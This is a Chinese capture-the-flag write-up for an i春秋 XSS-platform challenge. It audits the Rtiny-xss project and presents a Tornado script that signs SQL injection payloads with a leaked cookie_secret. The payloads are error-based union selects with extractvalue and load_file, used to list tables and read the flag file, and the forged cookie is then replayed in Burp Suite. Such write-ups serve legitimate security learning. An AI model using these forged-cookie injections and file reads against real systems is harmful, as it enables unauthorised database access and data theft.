【i春秋 “百度杯”CTF比赛 九月场 XSS平台】欢迎扫码关注微信公众号
文章图片
https://www.ichunqiu.com/battalion?t=1
这道题是一道代码审计题,对于我这个萌新来说,不看大佬们的writeup
是根本无从下手的,得到的提示就是github
上的开源项目Rtiny
:https://github.com/r0ker/Rtiny-xss/tree/master
大佬们是通过构造非法参数来让网页返回错误信息的,如下:
文章图片
然后就可以搜索到这个项目了,审查里面的代码,发现lock.py
文件中的代码是存在注入的:
文章图片
我们可以随意构造username
,代码没有做任何过滤
set_secure_cookie
是tornado
的一个方法:
文章图片
但是这个cookie
是被加密过的,加密使用的key
在index.php
文件中,所以我们只需要将自己的注入语句,使用相同的key
加密即可,脚本如下:
import tornado.ioloop
import tornado.web
settings = {
"cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello")
#self.set_secure_cookie("username", "' and 1=2 union select (1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema='xss')));
#")
self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),20,62)));
#")
self.write(self.get_secure_cookie("username"))def make_app():
return tornado.web.Application([
(r"/index", MainHandler),
], **settings)if __name__ == "__main__":
app = make_app()
app.listen(8080)
tornado.ioloop.IOLoop.instance().start()
使用报错注入构造注入语句,脚本运行之后,访问
本机IP:8080/index
抓取cookie
即可:建议使用火狐文章图片
然后访问
I春秋
的题目,Burpsuit
抓取,放到repeat
模块中,增加参数cookie[username]
并将其值设为刚才抓取到的cookie
值即可,有一点要注意,显示长度是有限的,如果想要的结果长度过长,需要使用mid
或者substr
逐段截取,最后获取flag
的时候,通过load_file
读取flag
文件:select load_file('/var/www/html/f13g_ls_here.txt')